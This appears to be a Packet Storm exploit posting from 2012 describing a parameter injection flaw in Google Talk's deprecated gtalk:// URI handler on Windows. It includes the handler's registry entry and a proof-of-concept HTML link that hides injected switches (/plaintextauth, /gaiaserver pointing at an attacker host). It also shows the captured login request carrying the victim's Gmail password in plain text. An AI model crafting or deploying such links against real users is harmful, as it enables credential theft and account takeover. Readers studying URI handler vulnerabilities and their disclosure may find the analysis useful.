what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Google Talk Deprecated Handler Parameter Injection

Google Talk Deprecated Handler Parameter Injection
Posted Mar 21, 2012
Authored by rgod | Site retrogod.altervista.org

Google Talk suffers from a gtalk:// deprecated URI handler /gaiaserver parameter injection vulnerability.

tags | exploit
SHA-256 | dd0200b63213a631a98d8b18a1d3d1e692a8ed783e1bb7c44a88df16a470ae7f

Google Talk Deprecated Handler Parameter Injection

Change Mirror Download
Google Talk gtalk:// Deprecated Uri Handler /gaiaserver Parameter Injection Vulnerability 

tested against: Internet Explorer 8
Microsoft Windows (all versions)


download url of 1.0.0.104:
http://www.google.com/talk/install.html

download urls of 1.0.0.105:
http://www.google.com/talk/intl/it/
http://www.google.com/talk/intl/fr/
http://www.google.com/talk/intl/de/
...


rgod: "Why two versions are downloadable on the internet at the same time?"

- Who is vulnerable?

- More probably international users, non Eglish speaking one

- When this attack does not work:

-when you install Google Talk 1.0.0.104
-then you uninstall diligently 1.0.0.104
-then you install 1.0.0.105

-When this attack works:

-when you install Google Talk 1.0.0.104
-then you install 1.0.0.105

or

-when you installed multiple times, never using the uninstall functionality
which is the reality of it

-Why?

Because 1.0.0.105 has not the gtalk:// uri handler functionality but the command line behaviour changed
Indeeds, 1.0.0.104 or 1.0.0.105 are not vulnerable alone but 1.0.0.105, when installed, does not remove
the old uri handler.

My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!!"
rgod : "You are right, two steps are better than three"



Vulnerability: Injection of custom parameters

Google Talk 1.0.0.104 registers on windows a deprecated uri handler, registry dump:

[HKEY_CLASSES_ROOT\gtalk]
"URL Protocol"=""

[HKEY_CLASSES_ROOT\gtalk\shell]

[HKEY_CLASSES_ROOT\gtalk\shell\open]

[HKEY_CLASSES_ROOT\gtalk\shell\open\command]
@="\"C:\\Program Files\\Google\\Google Talk\\googletalk.exe\" \"/%1\""


By crafting a link a remote user can inject custom command line parameters.


injectable parameters:

/plaintextauth

Uses plain authentication mechanism

/gaiaserver [host:port]

Uses a different GAIA server to authenticate the client

/nomutex

Allows multiple instances of Google Talk


proof of concept:

<a href='gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/'>chat with me</a>


(???????????? ... are estethics, when prompted the victim does not see the other stuff)

Gmail credentials are sent to 192.168.201:80 instead of google default gaia server, packet dump when sniffing the network
or listening on that port:

POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
Host: 192.168.2.101
User-Agent: Google Talk

Email=your%40gmail.com&Passwd=%70%61%73%73&PersistentCookie=false&source=googletalk


password is plain text, urldecoded:

user: yout@gmail.com
pass: pass

Now you are done, you spiffed your password to the unknown (evil) world.

If you already logged in on gmail server olders credentials are sent without user interaction,
otherwise if the user tries to login manually credentials are sent aswell to the attacker server



//rgod - 7.39 21/03/2012

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close